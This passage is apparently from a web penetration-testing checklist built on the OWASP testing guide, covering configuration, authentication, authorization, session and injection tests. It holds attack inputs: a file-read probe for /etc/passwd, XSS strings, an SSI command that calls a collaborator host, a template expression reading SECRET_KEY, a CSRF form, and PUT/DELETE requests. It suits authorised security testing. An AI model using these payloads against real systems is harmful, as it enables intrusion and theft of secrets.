curl -sq -X OPTIONS  -I <URL> -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36" | grep -i "allow"
```

* [ ] Using burp and `/usr/share/wordlists/SecLists/Fuzzing/http-request-methods.txt` tests which methods are allowed.
* [ ] Perform a `CONNECT` method.

```bash
CONNECT <OASTIFY>:80 HTTP/1.1
Host: <DOMAIN>:443
```

* [ ] Try to perform an PUT request.

```bash
echo '<html><body><h1>RTG</h1></body></html>' > /tmp/test.html
curl -sq -D - -X PUT -T /tmp/test.html https://<DOMAIN>/ -H "Content-Type: text/html" | head -n 1
​
curl -sq -D - https://<DOMAIN>/test.html | head -n 1
```

* [ ] Try to DELETE an image

```bash
curl -sq -D - -X DELETE <URL_IMAGE> | head -n 1
```

**Evidence**:

```
​
```

## 4.2.7 [Test HTTP Strict Transport Security](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/07-Test_HTTP_Strict_Transport_Security)

* [ ] Check that no requests are made through HTTP.
* [ ] Review the HSTS header and its validity. Also, take the screenshoot from burp suite.
* [ ] Check if the header attributes `includeSubDomains` and `preload` (optional) appear.

```bash
curl -sq -D- <URL> | grep -i "Strict-Transport-Security:" --color
```

**Evidence**:

```
​
```

## 4.2.8 [Test RIA Cross Domain Policy](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/08-Test_RIA_Cross_Domain_Policy)

* [ ] Check if the files exists (`crossdomain.xml` and `clientaccesspolicy.xml`)

```bash
curl -D- -sq https://<URL>/crossdomain.xml -b "<COOKIE>"; echo
curl -D- -sq https://<URL>/clientaccesspolicy.xml -b "<COOKIE>"; echo
```

* [ ] Review and validate the policy files

**Evidence**:

```
​
```

## 4.2.9 [Test File Permission](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/09-Test_File_Permission)

* [ ] Check if there are files with more permissions than necessary. Because it requires access to the server files it only applies to White Box approach.

**Evidence**:

```
​
```

## 4.2.10 [Test for Subdomain Takeover](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover)

A subdomain of the company is pointing to a **third-party service with a name not registered**. If you can **create** an **account** in this **third party service** and **register** the **name** being in use, you can perform the subdomain takeover.

* [ ] Identify expired or mis-configured domains (subdomains that points to a expired or nonexistent domain) that are used for the main application.

1. Go to Burp's sitemap, select all the domains that has been found using the app, right click "Copy select URLs" and saved them into a file
2. Then perform an HTTP request to all the domains looking for a domain that returns a 404.

```bash
cat burp_urls.txt  | awk -F/ '{print $1"//"$3}' | sort -u > domains_url.txt
meg -d 10 -c 200 / domains_url.txt requests
grep -iRl 404 requests/ | awk -F/ '{print $2}' > domains_to_be_checked.txt
```

3. Check if the domain exists or not (look for the URL on burp), and if it can be registered by a malicious attacker.

**Evidence**:

```
​
```

## 4.2.11 [Test Cloud Storage](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/11-Test_Cloud_Storage)

* [ ] Obtain the path or website where the files are uploaded, to check if they are uplodaded to cloud services
* [ ] Check if you are required to be authenticated in order to access those fies.
* [ ] Check if you can upload, overwrite or delete those files with and without authentication.
* [ ] [Test with AWS-CLI](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/11-Test_Cloud_Storage)

**Evidence**:

```
​
```


# 4.3 Identity Management Testing

## [Identity Management Testing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README)

## 4.3.1 [Test Role Definitions](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/03-Identity_Management_Testing/01-Test_Role_Definitions)

* [ ] Identify and document roles used by the application.
* [ ] Review the granularity of the roles and the needs behind the permissions given

**Evidence**:

```
​
```

## 4.3.2 [Test User Registration Process](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/03-Identity_Management_Testing/02-Test_User_Registration_Process)

Verify that the identity requirements for user registration are aligned with business and security requirements.

* [ ] Can anyone register for access? Is it intended?
* [ ] Are registrations vetted by a human prior to provisioning, or are they automatically granted if the criteria are met?
* [ ] Can the same person or identity register multiple times?
* [ ] Can users register for different roles or permissions?
* [ ] What proof of identity is required for a registration to be successful?
* [ ] Are registered identities verified?
* [ ] Can users registered using weak password policies?
* [ ] Does the application automatically logs in the new user?

Validate the registration process.

* [ ] Can identity information be easily forged or faked?
* [ ] Can the exchange of identity information be manipulated during registration

**Evidence**:

```
​
```

## 4.3.3 [Test Account Provisioning Process](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/03-Identity_Management_Testing/03-Test_Account_Provisioning_Process)

Determine which roles are able to provision users and what sort of accounts they can provision.

* [ ] Is there any verification, vetting and authorization of provisioning requests?
* [ ] Is there any verification, vetting and authorization of de-provisioning requests?
* [ ] Can an administrator provision other administrators or just users?
* [ ] Can an administrator or other user provision accounts with privileges greater than their own?
* [ ] Can an administrator or user de-provision themselves?
* [ ] How are the files or resources owned by the de-provisioned user managed? Are they deleted? Is access transferred?

**Evidence**:

```
​
```

## 4.3.4 [Testing for Account Enumeration and Guessable User Account](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account)

Review processes that pertain to user identification looking for ways to enumerate accounts.

* [ ] The login **error** or **response time** differs from a valid and invalid username?
* [ ] The login **error** or response time differs having a valid username but a wrong password?
* [ ] The password recovery function alerts if the username exists or not? Does it take more time?
* [ ] During account creation what messages you receive if an account already exists?
* [ ] Look for other endpoints that might be used for user enumeration.

To obtain a wordlist of existing and not existing emails, you can execute the following command

```bash
cat registered_emails.txt | awk -F "@" '{print $1"@"$2"\n"$1"donotexist@"$2}' | xclip -sel clipboard
```

**Evidence**:

```
​
```

## 4.3.5 [Testing for Weak or Unenforced Username Policy](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/03-Identity_Management_Testing/05-Testing_for_Weak_or_Unenforced_Username_Policy)

Check if there is any kind of account name structure like “<John.deer@email.com>” or “<jdeer@email.com>” that could lead to user name enumeration.

**Evidence**:

```
​
```


# 4.4 Authentication Testing

## [Authentication Testing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/README)

## 4.4.1 [Testing for Credentials Transported over an Encrypted Channel](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel)

* [ ] Check that the credentials always travel over encrypted channels.
* [ ] If the server returns cookie information for a session token, the cookie should also include the `Secure` attribute to avoid the client exposing the cookie over unencrypted channels later. Look for the `Secure` keyword in the response header.

**Evidence**:

```
​
```

## 4.4.2 [Testing for Default Credentials](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials)

* [ ] Enumerate the applications for default credentials (username & password) and validate if they still exist.
  * [Cirt - Default passwords](https://cirt.net/passwords)
  * [SectLists - Default Credentials](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials)
  * [Passwords Database](https://www.passwordsdatabase.com/)
  * [Data Recovery - Default Passwords](https://datarecovery.com/rd/default-passwords/)
  * [DefaultCreds Cheat Sheet](https://github.com/ihebski/DefaultCreds-cheat-sheet)
  * [Small Test](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt)

> You can use Burp's Cluster Bomb attack

* [ ] Review and assess new user accounts and if they are created with any defaults or identifiable patterns.

**Evidence**:

```
​
```

## 4.4.3 [Testing for Weak Lock Out Mechanism](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism)

* [ ] Evaluate the account lockout mechanism’s ability to mitigate brute force password guessing.
  * [ ] Attempt to log in with an incorrect password X times. Then, log in with the correct password. If successful increase X +1. Try this 10 times until the account is locked out, if the account is not locked out, it might not have Lock Out mechanisms.
  * [ ] If the account is locked out, try to access with the correct credentials in intervals of 2 minutes after the first minute, trying to obtain if the account is automatically unlocked after a period of time.
* [ ] CAPTCHA effectiveness
  * [ ] Assess CAPTCHA challenges and attempt automating solutions depending on difficulty.
  * [ ] Attempt to submit request without solving CAPTCHA via the normal UI mechanism(s).
  * [ ] Attempt to submit request with intentional CAPTCHA challenge failure.
  * [ ] Attempt to submit request without solving CAPTCHA (assuming some default values may be passed by client-side code, etc) while using a testing proxy (request submitted directly server-side).
  * [ ] Attempt to fuzz CAPTCHA data entry points (if present) with common injection payloads or special characters sequences.
  * [ ] Check if the solution to the CAPTCHA might be the alt-text of the image(s), filename(s), or a value in an associated hidden field.
  * [ ] Attempt to re-submit previously identified known good responses.
  * [ ] Check if clearing cookies causes the CAPTCHA to be bypassed (for example if the CAPTCHA is only shown after a number of failures).
  * [ ] If the CAPTCHA is part of a multi-step process, attempt to simply access or complete a step beyond the CAPTCHA (for example if CAPTCHA is the first step in a login process, try simply submitting the second step \[username and password]).
  * [ ] Check for alternative methods that might not have CAPTCHA enforced, such as an API endpoint meant to facilitate mobile app access.
* [ ] Evaluate the unlock mechanism’s resistance to unauthorized account unlocking.
  * [ ] Typical unlock mechanisms may involve secret questions or an emailed unlock link. The unlock link should be a unique one-time link, to stop an attacker from guessing or replaying the link and performing brute force attacks in batches Note that an unlock mechanism should only be used for unlocking accounts. It is not the same as a password recovery mechanism, yet could follow the same security practices.

**Evidence**:

```
​
```

## 4.4.4 [Testing for Bypassing Authentication Schema](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/04-Testing_for_Bypassing_Authentication_Schema)

Try to break the authentication process in order to obtain a valid session ID.

* [ ] Manipulate the server's response
* [ ] Exploit the "remember me" functionality

Try to bypass the authentication mechanisms in any section of the web pages which requires some sort of authentication with the following techinques:

* [ ] Access the URL directly without any setted Cookie. You can use the [Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f) Burp plugin with empty cookies.
* [ ] Check if the URL or POST parameters are used to verify a successful log in. E.x. `http://www.site.com/page.asp?authenticated=no`.
* [ ] Check if session IDs generation are predictable. Use Burp Suite sequencer.
* [ ] Tests if the authentication function works as intended and it is not bypasseable
  * [ ] Perform SQL or NoSQL injection attacks. →[SQLi\_Auth\_Bypass-Master\_List.txt](https://github.com/Marmeus/Kali-Booster/blob/main/Assets/Wordlists/SQLi_Auth_Bypass-Master_List.txt) & [No SQLI Payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)

**Evidence**:

```
​
```

## 4.4.5 [Testing for Vulnerable Remember Password](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/05-Testing_for_Vulnerable_Remember_Password)

* [ ] Validate that the generated session is managed securely and do not put the user’s credentials in danger.
* [ ] Check if credentials are stored on the browser memory.

**Evidence**:

```
​
```

## 4.4.6 [Testing for Browser Cache Weaknesses](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses)

* [ ] Review if the application stores sensitive information on the client-side.
* [ ] Review if access can occur without authorization.
* [ ] Entering sensitive information into the application and logging out. Then the tester clicks the Back button of the browser to check whether previously displayed sensitive information can be accessed whilst unauthenticated.
* [ ] Check that the following directives are present:

```bash
Cache-Control: no-cache, no-store
Expires: 0
Pragma: no-cache
```

**Evidence**:

```
​
```

## 4.4.7 [Testing for Weak Password Policy](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy)

* [ ] Evaluate the length and complexity
* [ ] Evaluate the existence of a password history.
* [ ] Check if the user can request password recovery on demand without restrictions.

**Evidence**

```
​
```

## 4.4.8 [Testing for Weak Security Question Answer](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer)

* [ ] Determine the complexity and how straight-forward the questions are.
* [ ] Assess possible user answers and brute force capabilities.

**Evidence**:

```
​
```

## 4.4.9 [Testing for Weak Password Change or Reset Functionalities](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities)

* [ ] if users, other than administrators, can change or reset passwords for accounts other than their own?
* [ ] if users can manipulate or subvert the password change or reset process to change or reset the password of another user or administrator?
* [ ] if the password change or reset process is vulnerable to CSRF?
* [ ] Is the old password requested to complete the change?
* [ ] Are reset passwords generated randomly?

**Evidence**:

```
​
```

## 4.4.10 [Testing for Weaker Authentication in Alternative Channel](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/10-Testing_for_Weaker_Authentication_in_Alternative_Channel)

* [ ] Identify alternative authentication channels (SSO).
* [ ] For each alternative channel where user accounts or functionality are shared, identify if all the authentication functions of the primary channel are available, and if anything extra exists.
* [ ] Assess the security measures used and if any bypasses exists on the alternative channels.

**Evidence**:

```
​
```


# 4.5 Authorization Testing

## [Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/README)

## 4.5.1 [Testing Directory Traversal File Include](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include)

* [ ] Identify injection points that pertain to path traversal, such as HTTP GET and POST parameters that receive a path or a filename as input.

  * [ ] Obtain all the links from Burp and look for injecting variables.

  ```bash
  # GET
  cat sitemap_urls.txt | uro |grep -Eo 'https?://[^ ]+\?[^ ]+'
  # POST
  Filter by Method POST & PARAMS (On Burpsuite Order by "Params")
  ```

  * [ ] Are there unusual file extensions?
* [ ] Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?
* [ ] Assess bypassing techniques and identify the extent of path traversal.
  * [ ] Is it also possible to include files and scripts located on external website
  * [ ] If protocols are accepted as arguments, is it also possible to probe the local filesystem this way `?file=file:///etc/passwd`?

```regex
(?:\?|&)(\w+)=([^&]*\.(?:jpg|jpeg|png|gif|pdf|doc|docx|xls|xlsx|ppt|pptx|txt|zip|rar|mp3|mp4|wav|mov|avi|json|xml|csv|exe|bin|dll|tar|gz|html|css|js|php))\b
```

* [ ] Try to perform Path Traversal on the server's URL PATH

**Evidence**:

```
​
```

## 4.5.2 [Testing for Bypassing Authorization Schema](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema)

* [ ] Asses the vertical privileges
  1. Register or generate two users with a higher and a lower privileges.
  2. Establish and maintain two different sessions based on the two different roles.
  3. For every request, change the session identifier from the original to another role’s session identifier and evaluate the responses for each. (**Usage of** [**Autorize**](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f))
  4. An application will be considered vulnerable if the weaker privileged session contains the same data, or indicate successful operations on higher privileged functions.
* [ ] Asses the horizontal privileges.
  1. Register or generate two users with identical privileges.
  2. Establish and keep two different sessions active (one for each user).
  3. For every request, change the relevant parameters and the session identifier from token one to token two and diagnose the responses for each token. (**Usage of** [**Autorize**](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f))
  4. An application will be considered vulnerable if the responses are the same, contain same private data or indicate successful operation on other users’ resource or data.
* [ ] Testing for Special Request Header Handling
  1. Try to test if theres is support of the headers `X-Original-URL: /donotexist1` and `X-Rewrite-URL: /donotexist2`. If they are try use them in order to bypass URLs that might not be blocked for being accessed from the Internet.
  2. Try different headers and values (Burp's Cluster Bomb attack)
* [ ] Attempt to switch, change, or access another role: Use tools like Multi-Account container (Firefox Add-on) and Authorize (Burp Suite)

Headers:

```http
X-Forwarded-For: 
X-Forwarded-IP: 
X-Client-IP: 
X-Remote-IP: 
X-Originating-IP: 
X-Host: 
X-Client: 
```

Values: <https://nip.io/>

```
127.0.1
127.1
0.0.0.0
0
0x7f000001
2130706433
3232235521a
3232235777
017700000001
[::]
::
[0:0:0:0:0:ffff:127.0.0.1]
0:0:0:0:0:ffff:127.0.0.1
<COLLABORATOR>
```

**Evidence**:

```
​
```

## 4.5.3 [Testing for Privilege Escalation](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/03-Testing_for_Privilege_Escalation)

* [ ] Identify injection points related to privilege manipulation.
* [ ] Fuzz or otherwise attempt to bypass security measures.

**Evidence**:

```
​
```

## 4.5.4 [Testing for Insecure Direct Object References](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References)

* [ ] Identify points where object references may occur. Look for requests that contain parameters with values such as IDs, function names or files.

Look for ID numbers:

```regex
(?:\?|&)(\w+)=\w*\d+\w*\b
```

* [ ] Assess the access control measures and if they’re vulnerable to IDOR. Check if certain users that should not have access to those resources can access them. (Autorize)
* [ ] If UUID are used check its [version](https://www.freecodeformat.com/validate-uuid-guid.php). Because version 1 is based on time stamps you can perform a [sandwich attack](https://realizesec.com/blog/sandwich-attacks-exploiting-uuid-v1).

Look for IDs:

```regex
(\w+)=[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}
```

**Evidence**:

```
​
```


# 4.6 Session Management Testing

## [Session Management Testing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/README)

## 4.6.1 [Testing for Session Management Schema](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema)

* [ ] Analyze and ensure that enough randomness exists to stop session forging attacks. (Burp Suite Sequencer)
* [ ] What `Expires` times are used on persistent cookies, and are they reasonable? (Vulnerable if it is more than 8 hours)
* [ ] Check the `Cache-Control` header.

**Evidence**:

```
​
```

## 4.6.2 [Testing for Cookies Attributes](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes)

* [ ] Check that session cookies have the directives `Secure` and `httpOnly`.
* [ ] Check the values for the `domain` attribute has secured values with respect of the application.
* [ ] Check the values for the `path` attribute has secured values with respect of the application.
* [ ] Check the expiration time in the `Expire` attribute.
* [ ] Check the `SameSite` attribute has secured values with respect of the application.

**Evidence**:

```
​
```

## 4.6.3 [Testing for Session Fixation](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/03-Testing_for_Session_Fixation)

* [ ] Analyze the authentication mechanism and its flow.
* [ ] Perform an unauthenticated request to the website checking if a session cookie is set. If so a tester can send a valid session identifier to a user (possibly using a social engineering trick), wait for them to authenticate, and subsequently verify that privileges have been assigned to this cookie.
* [ ] Check if a new session cookie is set once the user is logged into the application.
* [ ] Check if the session cookie can be predicted.

**Evidence**:

```
​
```

## 4.6.4 [Testing for Exposed Session Variables](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/04-Testing_for_Exposed_Session_Variables)

* [ ] Check that session IDs are send over POST request instead of URL parameters.
* [ ] If POST is used, can it be interchanged with GET?
* [ ] Check that session IDs are send over encrypting transport by default.
* [ ] What cache-control directives are applied to requests/responses passing Session IDs?
* [ ] Check if the session cookie can be predicted.

**Evidence**:

```
​
```

## 4.6.5 [Testing for Cross Site Request Forgery](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery)

* [ ] Analyze the CSRF Token. If there is not, the web might be vulnerable to CSRF.
* [ ] Can be used only once?
* [ ] Is it binded to the session or any user can use the same token?
* [ ] Is it binded to the function?
* [ ] Check for the Same-Origin Policy, `SameSite=Lax` or `SameSite=Strict` can prevent the browser from sending cookies along with cross-site requests.
* [ ] Determine whether it is possible to initiate requests on a user’s behalf that are not initiated by the user.
* [ ] Create an HTML page to perform a certain function in the web, similar to that shown below: (You can use Burp Engagement Tools to create a CSRF website)
* [ ] Host the HTML on a malicious or third-party site
* [ ] Send the link for the page to the victim(s) and induce them to click it.

> We’ll have to change the encoding type (`enctype`) to `text/plain` to ensure the payload is delivered as-is.

```html
<html>
 <body>
  <script>history.pushState('', '', '/')</script>
   <form action='http://victimsite.com' method='POST' enctype='text/plain'>
     <input type='hidden' name='{"name":"hacked","password":"hacked","padding":"'value='something"}' />
     <input type='submit' value='Submit request' />
   </form>
 </body>
</html>
```

**Evidence**:

```
​
```

## 4.6.6 [Testing for Logout Functionality](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality)

* [ ] Check if the application has a logout functionality
* [ ] Check session termination after a given amount of time without activity (session timeout).
* [ ] Does the session ID gets invalidated or just simply removed from the browsers storage.
* [ ] It is expected that the invocation of a log out function in a web application connected to a SSO system or in the SSO system itself causes global termination of all sessions. An authentication of the user should be required to gain access to the application after log out in the SSO system and connected application.

**Evidence**:

```
​
```

## 4.6.7 [Testing Session Timeout](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout)

* [ ] Check whether a timeout exists, for instance, by logging in and waiting for the timeout log out to be triggered. Try to perform the same action, with the same cookie, every X hours until it expires or up to a maximum of 8.
* [ ] Understand whether the timeout is enforced by the client or by the server (or both).

**Evidence**:

```
​
```

## 4.6.8 [Testing for Session Puzzling](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling)

This vulnerability occurs when an application uses the same session variable for more than one purpose. An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set in one context and then used in another.

* [ ] An authentication bypass attack vector could be executed by accessing a publicly accessible entry point (e.g. a password recovery page) that populates the session with an identical session variable, based on fixed values or on user originating input.

**Evidence**:

```
​
```

## 4.6.9 [Testing for Session Hijacking](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/09-Testing_for_Session_Hijacking)

* [ ] Check that session cookies have the directives `Secure` and `httpOnly`.
* [ ] Check that the attribute `Domain` is set and well defined.
* [ ] Check that the header `Strict-Transport-Security` is well configured like `max-age=31536000; includeSubDomains; preload`

**Evidence**:

```
​
```

## 4.6.10 [Testing JSON Web Tokens](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/10-Testing_JSON_Web_Tokens)

**Evidence**:

```
​
```

## 4.6.11 [Testing for Concurrent Sessions](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/11-Testing_for_Concurrent_Sessions)

* [ ] Evaluate the application’s session management by assessing the handling of multiple active sessions for a single user account.

**Evidence**:

```
​
```


# 4.7 Input Validation Testing

## [Input Validation Testing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README)

## 4.7.1 [Testing for Reflected Cross Site Scripting](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting)

* [ ] Identify variables/parameters that are reflected in responses.

```regex
(?:\?|&)(\w+)=
```

* [ ] Assess the input they accept and the encoding that gets applied on return (if any).

```html
"><img src=1 onerror=alert(1)>
<script>alert(2)</script>"<
```

**Evidence**:

```
​
```

## 4.7.2 [Testing for Stored Cross Site Scripting](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting)

* [ ] Identify stored input that is reflected on the client-side.
* [ ] Assess the input they accept and the encoding that gets applied on return (if any).
* [ ] Check if the input is only sanitized on client or server side.

> You can use the previous payloads.

**Evidence**:

```
​
```

## 4.7.3 [Testing for HTTP Verb Tampering](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/03-Testing_for_HTTP_Verb_Tampering)

This section has been merged into: [Test HTTP Methods](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods)

**Evidence**:

```
​
```

## 4.7.4 [Testing for HTTP Parameter Pollution](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution)

* [ ] Identify any form or action that allows user-supplied input.
* [ ] Test for HPP vulnerabilities simply append the same parameter to the GET and POST data but with a different value assigned.
* [ ] Send a request with the same parameter repeated twice but with a different value, like `page?par1=val1&par1=HPP_TEST1`.

The results should be that the application takes the both parameters instead of only one of them.

**Evidence**:

```
​
```

## 4.7.5 [Testing for SQL Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection)

* [ ] Identify any form or action that allows user-supplied input.
* [ ] Introduce SQL statements to trigger errors. If there are errors, try to exploit the vulnerability.
* [ ] Introduce SQL statements based on time and check if there are differences in the response time.
* [ ] Perform the same actions but with NoSQL statements.

[SQL wordlist](https://raw.githubusercontent.com/Marmeus/Kali-Booster/refs/heads/main/Assets/Wordlists/SQLi_Auth_Bypass-Master_List.txt) & [NoSQL Payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection).

**Evidence**:

```
​
```

## 4.7.6 [Testing for LDAP Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection)

* [ ] Identify any form or action that allows user-supplied input.
* [ ] Introduce LDAP statements to see how the application behaves.

[LDAP Wordlist](https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Fuzzing/LDAP.Fuzzing.txt).

**Evidence**:

```
​
```

## 4.7.7 [Testing for XML Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection)

* [ ] Identify XML injection points.
* [ ] Try to upload XML files.
* [ ] Try to exploit [XXE vulnerabilities](https://the-pentesting-guide.marmeus.com/web/xxe).

**Evidence**:

```
​
```

## 4.7.8 [Testing for SSI Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/08-Testing_for_SSI_Injection)

* [ ] Check that the application contains `.shtml` files.
* [ ] Inject the payload `<!--#exec cmd="nslookup <BURP_COLLAB>" -->` in different inputs to see if it is executed. Also, try to inject it on headers like `User-Agent` or `Referer`.
* [ ] Try to upload files with SSI payloads.

**Evidence**:

```
​
```

## 4.7.9 [Testing for XPath Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection)

* [ ] Check if the application uses XML queries.
* [ ] Perform XPath attacks

**Evidence**:

```
​
```

## 4.7.10 [Testing for IMAP SMTP Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/10-Testing_for_IMAP_SMTP_Injection)

* [ ] Look for endpoints that triggers sending emails
* [ ] Understand the data flow and deployment structure of the system.
* [ ] Discover hidden parameters
* [ ] Try to inject IMAP text or HTML tags.
* [ ] Using webmail, check if the mails receive contains internal network information.

**Evidence**:

```
​
```

## 4.7.11 [Testing for Code Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection)

* [ ] Identify injection points where you can inject files or paths into the application. Here you have some examples:
* [ ] File Access parameters

```regex
[?&](file|filepath|filename|dir|folder|download|upload|doc|image|path|include|view|resource|asset|content|icon|logfile)=
```

* Website/URL Access Parameters

```regex
[?&](url|link|redirect|target|site|page|navigate|ref|callback|host|return|next)=
```

* [ ] Asses the injection points.

- UNIX FI & Windows FI

**Evidence**:

```
​
```

## 4.7.12 [Testing for Command Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection)

* [ ] Identify injection points where you can inject code into the application. Here you have some examples:

```regex
[?&](cmd|exec|action|run|query|operation|execute|task|process|shell|module|method|command|do)=
```

* [Windows RCE](https://raw.githubusercontent.com/Marmeus/Kali-Booster/refs/heads/main/Assets/Wordlists/windows_remote_command_injection.txt) & [UNIX RCE](https://raw.githubusercontent.com/Marmeus/Kali-Booster/refs/heads/main/Assets/Wordlists/unix_remote_command_injection.txt)

**Evidence**:

```
​
```

## 4.7.13 [Testing for Format String Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Format_String_Injection)

* [ ] This vulnerability is mainly oriented to a white box approach. However, you can tested by inserting the value `%s` on the input parameters of the application.

```bash
alice
%s%s%s%n
%p%p%p%p%p
{event.__init__.__globals__[CONFIG][SECRET_KEY]}
```

**Evidence**:

